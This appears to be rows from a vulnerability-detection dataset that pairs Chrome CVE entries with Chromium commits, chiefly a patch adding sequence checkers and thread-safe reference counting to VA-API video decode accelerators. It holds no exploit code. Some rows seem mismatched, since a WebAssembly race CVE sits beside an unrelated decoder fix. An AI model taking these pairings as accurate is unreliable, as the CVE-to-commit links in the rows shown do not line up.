| 5.1
|
A race in the handling of SharedArrayBuffers in WebAssembly in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
|
2018-12-19
| null | 0
|
https://github.com/chromium/chromium/commit/70340ce072cee8a0bdcddb5f312d32567b2269f6
|
70340ce072cee8a0bdcddb5f312d32567b2269f6
|
vaapi vda: Delete owned objects on worker thread in Cleanup()
This CL adds a SEQUENCE_CHECKER to Vaapi*Accelerator classes, and
posts the destruction of those objects to the appropriate thread on
Cleanup().
Also makes {H264,VP8,VP9}Picture RefCountedThreadSafe, see miu@
comment in
https://chromium-review.googlesource.com/c/chromium/src/+/794091#message-a64bed985cfaf8a19499a517bb110a7ce581dc0f
TEST=play back VP9/VP8/H264 w/ simplechrome on soraka, Release build
unstripped, let video play for a few seconds then navigate back; no
crashes. Unittests as before:
video_decode_accelerator_unittest --test_video_data=test-25fps.vp9:320:240:250:250:35:150:12
video_decode_accelerator_unittest --test_video_data=test-25fps.vp8:320:240:250:250:35:150:11
video_decode_accelerator_unittest --test_video_data=test-25fps.h264:320:240:250:258:35:150:1
Bug: 789160
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I7d96aaf89c92bf46f00c8b8b36798e057a842ed2
Reviewed-on: https://chromium-review.googlesource.com/794091
Reviewed-by: Pawel Osciak <posciak@chromium.org>
Commit-Queue: Miguel Casas <mcasas@chromium.org>
Cr-Commit-Position: refs/heads/master@{#523372}
| 0
|
media/gpu/vaapi/vaapi_video_decode_accelerator.cc
|
{"sha": "3841842656ff84683b319eea25079943ddb17857", "filename": "media/gpu/h264_dpb.h", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/h264_dpb.h", "raw_url": "https://github.com/chromium/chromium/raw/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/h264_dpb.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/gpu/h264_dpb.h?ref=70340ce072cee8a0bdcddb5f312d32567b2269f6", "patch": "@@ -25,7 +25,8 @@ class VaapiH264Picture;\n \n // A picture (a frame or a field) in the H.264 spec sense.\n // See spec at http://www.itu.int/rec/T-REC-H.264\n-class MEDIA_GPU_EXPORT H264Picture : public base::RefCounted<H264Picture> {\n+class MEDIA_GPU_EXPORT H264Picture\n+ : public base::RefCountedThreadSafe<H264Picture> {\n public:\n using Vector = std::vector<scoped_refptr<H264Picture>>;\n \n@@ -91,7 +92,7 @@ class MEDIA_GPU_EXPORT H264Picture : public base::RefCounted<H264Picture> {\n gfx::Rect visible_rect;\n \n protected:\n- friend class base::RefCounted<H264Picture>;\n+ friend class base::RefCountedThreadSafe<H264Picture>;\n virtual ~H264Picture();\n \n private:"}<_**next**_>{"sha": "d56746ad186c9dd62b8c45d537fe58cfc95485ce", "filename": "media/gpu/vaapi/vaapi_video_decode_accelerator.cc", "status": "modified", "additions": 48, "deletions": 3, "changes": 51, "blob_url": "https://github.com/chromium/chromium/blob/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vaapi/vaapi_video_decode_accelerator.cc", "raw_url": "https://github.com/chromium/chromium/raw/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vaapi/vaapi_video_decode_accelerator.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/gpu/vaapi/vaapi_video_decode_accelerator.cc?ref=70340ce072cee8a0bdcddb5f312d32567b2269f6", "patch": "@@ -171,6 +171,8 @@ class VaapiVideoDecodeAccelerator::VaapiH264Accelerator\n VaapiWrapper* vaapi_wrapper_;\n VaapiVideoDecodeAccelerator* vaapi_dec_;\n \n+ SEQUENCE_CHECKER(sequence_checker_);\n+\n DISALLOW_COPY_AND_ASSIGN(VaapiH264Accelerator);\n };\n \n@@ -218,6 +220,8 @@ class VaapiVideoDecodeAccelerator::VaapiVP8Accelerator\n VaapiWrapper* vaapi_wrapper_;\n VaapiVideoDecodeAccelerator* vaapi_dec_;\n \n+ SEQUENCE_CHECKER(sequence_checker_);\n+\n DISALLOW_COPY_AND_ASSIGN(VaapiVP8Accelerator);\n };\n \n@@ -270,6 +274,8 @@ class VaapiVideoDecodeAccelerator::VaapiVP9Accelerator\n VaapiWrapper* vaapi_wrapper_;\n VaapiVideoDecodeAccelerator* vaapi_dec_;\n \n+ SEQUENCE_CHECKER(sequence_checker_);\n+\n DISALLOW_COPY_AND_ASSIGN(VaapiVP9Accelerator);\n };\n \n@@ -1061,6 +1067,18 @@ void VaapiVideoDecodeAccelerator::Cleanup() {\n client_ptr_factory_.reset();\n weak_this_factory_.InvalidateWeakPtrs();\n \n+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE, decoder_.release());\n+ if (h264_accelerator_) {\n+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,\n+ h264_accelerator_.release());\n+ } else if (vp8_accelerator_) {\n+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,\n+ vp8_accelerator_.release());\n+ } else if (vp9_accelerator_) {\n+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,\n+ vp9_accelerator_.release());\n+ }\n+\n // Signal all potential waiters on the decoder_thread_, let them early-exit,\n // as we've just moved to the kDestroying state, and wait for all tasks\n // to finish.\n@@ -1144,12 +1162,16 @@ VaapiVideoDecodeAccelerator::VaapiH264Accelerator::VaapiH264Accelerator(\n : vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {\n DCHECK(vaapi_wrapper_);\n DCHECK(vaapi_dec_);\n+ DETACH_FROM_SEQUENCE(sequence_checker_);\n }\n \n-VaapiVideoDecodeAccelerator::VaapiH264Accelerator::~VaapiH264Accelerator() {}\n+VaapiVideoDecodeAccelerator::VaapiH264Accelerator::~VaapiH264Accelerator() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n+}\n \n scoped_refptr<H264Picture>\n VaapiVideoDecodeAccelerator::VaapiH264Accelerator::CreateH264Picture() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();\n if (!va_surface)\n return nullptr;\n@@ -1172,6 +1194,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitFrameMetadata(\n const H264Picture::Vector& ref_pic_listb0,\n const H264Picture::Vector& ref_pic_listb1,\n const scoped_refptr<H264Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VAPictureParameterBufferH264 pic_param;\n memset(&pic_param, 0, sizeof(pic_param));\n \n@@ -1286,6 +1309,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitSlice(\n const scoped_refptr<H264Picture>& pic,\n const uint8_t* data,\n size_t size) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VASliceParameterBufferH264 slice_param;\n memset(&slice_param, 0, sizeof(slice_param));\n \n@@ -1387,6 +1411,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitSlice(\n bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode(\n const scoped_refptr<H264Picture>& pic) {\n VLOGF(4) << \"Decoding POC \" << pic->pic_order_cnt;\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> dec_surface =\n H264PictureToVaapiDecodeSurface(pic);\n \n@@ -1395,6 +1420,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode(\n \n bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::OutputPicture(\n const scoped_refptr<H264Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> dec_surface =\n H264PictureToVaapiDecodeSurface(pic);\n dec_surface->set_visible_rect(pic->visible_rect);\n@@ -1404,12 +1430,14 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::OutputPicture(\n }\n \n void VaapiVideoDecodeAccelerator::VaapiH264Accelerator::Reset() {\n+ DETACH_FROM_SEQUENCE(sequence_checker_);\n vaapi_wrapper_->DestroyPendingBuffers();\n }\n \n scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>\n VaapiVideoDecodeAccelerator::VaapiH264Accelerator::\n H264PictureToVaapiDecodeSurface(const scoped_refptr<H264Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VaapiH264Picture* vaapi_pic = pic->AsVaapiH264Picture();\n CHECK(vaapi_pic);\n return vaapi_pic->dec_surface();\n@@ -1418,6 +1446,7 @@ VaapiVideoDecodeAccelerator::VaapiH264Accelerator::\n void VaapiVideoDecodeAccelerator::VaapiH264Accelerator::FillVAPicture(\n VAPictureH264* va_pic,\n scoped_refptr<H264Picture> pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VASurfaceID va_surface_id = VA_INVALID_SURFACE;\n \n if (!pic->nonexisting) {\n@@ -1454,6 +1483,7 @@ int VaapiVideoDecodeAccelerator::VaapiH264Accelerator::FillVARefFramesFromDPB(\n const H264DPB& dpb,\n VAPictureH264* va_pics,\n int num_pics) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n H264Picture::Vector::const_reverse_iterator rit;\n int i;\n \n@@ -1474,12 +1504,16 @@ VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::VaapiVP8Accelerator(\n : vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {\n DCHECK(vaapi_wrapper_);\n DCHECK(vaapi_dec_);\n+ DETACH_FROM_SEQUENCE(sequence_checker_);\n }\n \n-VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::~VaapiVP8Accelerator() {}\n+VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::~VaapiVP8Accelerator() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n+}\n \n scoped_refptr<VP8Picture>\n VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::CreateVP8Picture() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();\n if (!va_surface)\n return nullptr;\n@@ -1500,6 +1534,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::SubmitDecode(\n const scoped_refptr<VP8Picture>& last_frame,\n const scoped_refptr<VP8Picture>& golden_frame,\n const scoped_refptr<VP8Picture>& alt_frame) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VAIQMatrixBufferVP8 iq_matrix_buf;\n memset(&iq_matrix_buf, 0, sizeof(VAIQMatrixBufferVP8));\n \n@@ -1682,6 +1717,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::SubmitDecode(\n \n bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::OutputPicture(\n const scoped_refptr<VP8Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> dec_surface =\n VP8PictureToVaapiDecodeSurface(pic);\n dec_surface->set_visible_rect(pic->visible_rect);\n@@ -1692,6 +1728,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::OutputPicture(\n scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>\n VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::\n VP8PictureToVaapiDecodeSurface(const scoped_refptr<VP8Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VaapiVP8Picture* vaapi_pic = pic->AsVaapiVP8Picture();\n CHECK(vaapi_pic);\n return vaapi_pic->dec_surface();\n@@ -1703,12 +1740,16 @@ VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::VaapiVP9Accelerator(\n : vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {\n DCHECK(vaapi_wrapper_);\n DCHECK(vaapi_dec_);\n+ DETACH_FROM_SEQUENCE(sequence_checker_);\n }\n \n-VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::~VaapiVP9Accelerator() {}\n+VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::~VaapiVP9Accelerator() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n+}\n \n scoped_refptr<VP9Picture>\n VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::CreateVP9Picture() {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();\n if (!va_surface)\n return nullptr;\n@@ -1722,6 +1763,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::SubmitDecode(\n const Vp9LoopFilterParams& lf,\n const std::vector<scoped_refptr<VP9Picture>>& ref_pictures,\n const base::Closure& done_cb) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n // |done_cb| should be null as we return false from IsFrameContextRequired().\n DCHECK(done_cb.is_null());\n \n@@ -1844,6 +1886,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::SubmitDecode(\n \n bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::OutputPicture(\n const scoped_refptr<VP9Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n scoped_refptr<VaapiDecodeSurface> dec_surface =\n VP9PictureToVaapiDecodeSurface(pic);\n dec_surface->set_visible_rect(pic->visible_rect);\n@@ -1854,13 +1897,15 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::OutputPicture(\n bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::GetFrameContext(\n const scoped_refptr<VP9Picture>& pic,\n Vp9FrameContext* frame_ctx) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n NOTIMPLEMENTED() << \"Frame context update not supported\";\n return false;\n }\n \n scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>\n VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::\n VP9PictureToVaapiDecodeSurface(const scoped_refptr<VP9Picture>& pic) {\n+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n VaapiVP9Picture* vaapi_pic = pic->AsVaapiVP9Picture();\n CHECK(vaapi_pic);\n return vaapi_pic->dec_surface();"}<_**next**_>{"sha": "464820e2360de0fc24a59a200b50d7617a7ecec2", "filename": "media/gpu/vp8_picture.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vp8_picture.h", "raw_url": "https://github.com/chromium/chromium/raw/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vp8_picture.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/gpu/vp8_picture.h?ref=70340ce072cee8a0bdcddb5f312d32567b2269f6", "patch": "@@ -14,7 +14,7 @@ namespace media {\n class V4L2VP8Picture;\n class VaapiVP8Picture;\n \n-class VP8Picture : public base::RefCounted<VP8Picture> {\n+class VP8Picture : public base::RefCountedThreadSafe<VP8Picture> {\n public:\n VP8Picture();\n \n@@ -25,7 +25,7 @@ class VP8Picture : public base::RefCounted<VP8Picture> {\n gfx::Rect visible_rect;\n \n protected:\n- friend class base::RefCounted<VP8Picture>;\n+ friend class base::RefCountedThreadSafe<VP8Picture>;\n virtual ~VP8Picture();\n \n DISALLOW_COPY_AND_ASSIGN(VP8Picture);"}<_**next**_>{"sha": "e11056b4ec3736ed7ca180dd483503aadba9397b", "filename": "media/gpu/vp9_picture.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vp9_picture.h", "raw_url": "https://github.com/chromium/chromium/raw/70340ce072cee8a0bdcddb5f312d32567b2269f6/media/gpu/vp9_picture.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/gpu/vp9_picture.h?ref=70340ce072cee8a0bdcddb5f312d32567b2269f6", "patch": "@@ -17,7 +17,7 @@ namespace media {\n class V4L2VP9Picture;\n class VaapiVP9Picture;\n \n-class VP9Picture : public base::RefCounted<VP9Picture> {\n+class VP9Picture : public base::RefCountedThreadSafe<VP9Picture> {\n public:\n VP9Picture();\n \n@@ -32,7 +32,7 @@ class VP9Picture : public base::RefCounted<VP9Picture> {\n gfx::Rect visible_rect;\n \n protected:\n- friend class base::RefCounted<VP9Picture>;\n+ friend class base::RefCountedThreadSafe<VP9Picture>;\n virtual ~VP9Picture();\n \n DISALLOW_COPY_AND_ASSIGN(VP9Picture);"}
|
bool IsFlushRequest() const { return shm_ == nullptr; }
|
bool IsFlushRequest() const { return shm_ == nullptr; }
|
C
| null | null | null |
@@ -171,6 +171,8 @@ class VaapiVideoDecodeAccelerator::VaapiH264Accelerator
VaapiWrapper* vaapi_wrapper_;
VaapiVideoDecodeAccelerator* vaapi_dec_;
+ SEQUENCE_CHECKER(sequence_checker_);
+
DISALLOW_COPY_AND_ASSIGN(VaapiH264Accelerator);
};
@@ -218,6 +220,8 @@ class VaapiVideoDecodeAccelerator::VaapiVP8Accelerator
VaapiWrapper* vaapi_wrapper_;
VaapiVideoDecodeAccelerator* vaapi_dec_;
+ SEQUENCE_CHECKER(sequence_checker_);
+
DISALLOW_COPY_AND_ASSIGN(VaapiVP8Accelerator);
};
@@ -270,6 +274,8 @@ class VaapiVideoDecodeAccelerator::VaapiVP9Accelerator
VaapiWrapper* vaapi_wrapper_;
VaapiVideoDecodeAccelerator* vaapi_dec_;
+ SEQUENCE_CHECKER(sequence_checker_);
+
DISALLOW_COPY_AND_ASSIGN(VaapiVP9Accelerator);
};
@@ -1061,6 +1067,18 @@ void VaapiVideoDecodeAccelerator::Cleanup() {
client_ptr_factory_.reset();
weak_this_factory_.InvalidateWeakPtrs();
+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE, decoder_.release());
+ if (h264_accelerator_) {
+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
+ h264_accelerator_.release());
+ } else if (vp8_accelerator_) {
+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
+ vp8_accelerator_.release());
+ } else if (vp9_accelerator_) {
+ decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
+ vp9_accelerator_.release());
+ }
+
// Signal all potential waiters on the decoder_thread_, let them early-exit,
// as we've just moved to the kDestroying state, and wait for all tasks
// to finish.
@@ -1144,12 +1162,16 @@ VaapiVideoDecodeAccelerator::VaapiH264Accelerator::VaapiH264Accelerator(
: vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {
DCHECK(vaapi_wrapper_);
DCHECK(vaapi_dec_);
+ DETACH_FROM_SEQUENCE(sequence_checker_);
}
-VaapiVideoDecodeAccelerator::VaapiH264Accelerator::~VaapiH264Accelerator() {}
+VaapiVideoDecodeAccelerator::VaapiH264Accelerator::~VaapiH264Accelerator() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+}
scoped_refptr<H264Picture>
VaapiVideoDecodeAccelerator::VaapiH264Accelerator::CreateH264Picture() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();
if (!va_surface)
return nullptr;
@@ -1172,6 +1194,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitFrameMetadata(
const H264Picture::Vector& ref_pic_listb0,
const H264Picture::Vector& ref_pic_listb1,
const scoped_refptr<H264Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VAPictureParameterBufferH264 pic_param;
memset(&pic_param, 0, sizeof(pic_param));
@@ -1286,6 +1309,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitSlice(
const scoped_refptr<H264Picture>& pic,
const uint8_t* data,
size_t size) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VASliceParameterBufferH264 slice_param;
memset(&slice_param, 0, sizeof(slice_param));
@@ -1387,6 +1411,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitSlice(
bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode(
const scoped_refptr<H264Picture>& pic) {
VLOGF(4) << "Decoding POC " << pic->pic_order_cnt;
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> dec_surface =
H264PictureToVaapiDecodeSurface(pic);
@@ -1395,6 +1420,7 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode(
bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::OutputPicture(
const scoped_refptr<H264Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> dec_surface =
H264PictureToVaapiDecodeSurface(pic);
dec_surface->set_visible_rect(pic->visible_rect);
@@ -1404,12 +1430,14 @@ bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::OutputPicture(
}
void VaapiVideoDecodeAccelerator::VaapiH264Accelerator::Reset() {
+ DETACH_FROM_SEQUENCE(sequence_checker_);
vaapi_wrapper_->DestroyPendingBuffers();
}
scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>
VaapiVideoDecodeAccelerator::VaapiH264Accelerator::
H264PictureToVaapiDecodeSurface(const scoped_refptr<H264Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VaapiH264Picture* vaapi_pic = pic->AsVaapiH264Picture();
CHECK(vaapi_pic);
return vaapi_pic->dec_surface();
@@ -1418,6 +1446,7 @@ VaapiVideoDecodeAccelerator::VaapiH264Accelerator::
void VaapiVideoDecodeAccelerator::VaapiH264Accelerator::FillVAPicture(
VAPictureH264* va_pic,
scoped_refptr<H264Picture> pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VASurfaceID va_surface_id = VA_INVALID_SURFACE;
if (!pic->nonexisting) {
@@ -1454,6 +1483,7 @@ int VaapiVideoDecodeAccelerator::VaapiH264Accelerator::FillVARefFramesFromDPB(
const H264DPB& dpb,
VAPictureH264* va_pics,
int num_pics) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
H264Picture::Vector::const_reverse_iterator rit;
int i;
@@ -1474,12 +1504,16 @@ VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::VaapiVP8Accelerator(
: vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {
DCHECK(vaapi_wrapper_);
DCHECK(vaapi_dec_);
+ DETACH_FROM_SEQUENCE(sequence_checker_);
}
-VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::~VaapiVP8Accelerator() {}
+VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::~VaapiVP8Accelerator() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+}
scoped_refptr<VP8Picture>
VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::CreateVP8Picture() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();
if (!va_surface)
return nullptr;
@@ -1500,6 +1534,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::SubmitDecode(
const scoped_refptr<VP8Picture>& last_frame,
const scoped_refptr<VP8Picture>& golden_frame,
const scoped_refptr<VP8Picture>& alt_frame) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VAIQMatrixBufferVP8 iq_matrix_buf;
memset(&iq_matrix_buf, 0, sizeof(VAIQMatrixBufferVP8));
@@ -1682,6 +1717,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::SubmitDecode(
bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::OutputPicture(
const scoped_refptr<VP8Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> dec_surface =
VP8PictureToVaapiDecodeSurface(pic);
dec_surface->set_visible_rect(pic->visible_rect);
@@ -1692,6 +1728,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::OutputPicture(
scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>
VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::
VP8PictureToVaapiDecodeSurface(const scoped_refptr<VP8Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VaapiVP8Picture* vaapi_pic = pic->AsVaapiVP8Picture();
CHECK(vaapi_pic);
return vaapi_pic->dec_surface();
@@ -1703,12 +1740,16 @@ VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::VaapiVP9Accelerator(
: vaapi_wrapper_(vaapi_wrapper), vaapi_dec_(vaapi_dec) {
DCHECK(vaapi_wrapper_);
DCHECK(vaapi_dec_);
+ DETACH_FROM_SEQUENCE(sequence_checker_);
}
-VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::~VaapiVP9Accelerator() {}
+VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::~VaapiVP9Accelerator() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+}
scoped_refptr<VP9Picture>
VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::CreateVP9Picture() {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> va_surface = vaapi_dec_->CreateSurface();
if (!va_surface)
return nullptr;
@@ -1722,6 +1763,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::SubmitDecode(
const Vp9LoopFilterParams& lf,
const std::vector<scoped_refptr<VP9Picture>>& ref_pictures,
const base::Closure& done_cb) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
// |done_cb| should be null as we return false from IsFrameContextRequired().
DCHECK(done_cb.is_null());
@@ -1844,6 +1886,7 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::SubmitDecode(
bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::OutputPicture(
const scoped_refptr<VP9Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
scoped_refptr<VaapiDecodeSurface> dec_surface =
VP9PictureToVaapiDecodeSurface(pic);
dec_surface->set_visible_rect(pic->visible_rect);
@@ -1854,13 +1897,15 @@ bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::OutputPicture(
bool VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::GetFrameContext(
const scoped_refptr<VP9Picture>& pic,
Vp9FrameContext* frame_ctx) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
NOTIMPLEMENTED() << "Frame context update not supported";
return false;
}
scoped_refptr<VaapiVideoDecodeAccelerator::VaapiDecodeSurface>
VaapiVideoDecodeAccelerator::VaapiVP9Accelerator::
VP9PictureToVaapiDecodeSurface(const scoped_refptr<VP9Picture>& pic) {
+ DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
VaapiVP9Picture* vaapi_pic = pic->AsVaapiVP9Picture();
CHECK(vaapi_pic);
return vaapi_pic->dec_surface();
|
Chrome
|
70340ce072cee8a0bdcddb5f312d32567b2269f6
|
56e11d791c805e69a79704748a040c2959d88293
| 0
|
bool IsFlushRequest() const { return shm_ == nullptr; }
|
161,418
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-6111
|
https://www.cvedetails.com/cve/CVE-2018-6111/
|
CWE-20
|
Medium
|
Partial
|
Partial
| null |
2019-01-09
| 6.8
|
An object lifetime issue in the developer tools network handler in Google Chrome prior to 66.0.3359.117 allowed a local attacker to execute arbitrary code via a crafted HTML page.
|
2019-01-16
|
Exec Code
| 0
|
https://github.com/chromium/chromium/commit/3c8e4852477d5b1e2da877808c998dc57db9460f
|
3c8e4852477d5b1e2da877808c998dc57db9460f
|
DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
| 0
|
content/browser/devtools/protocol/service_worker_handler.cc
|
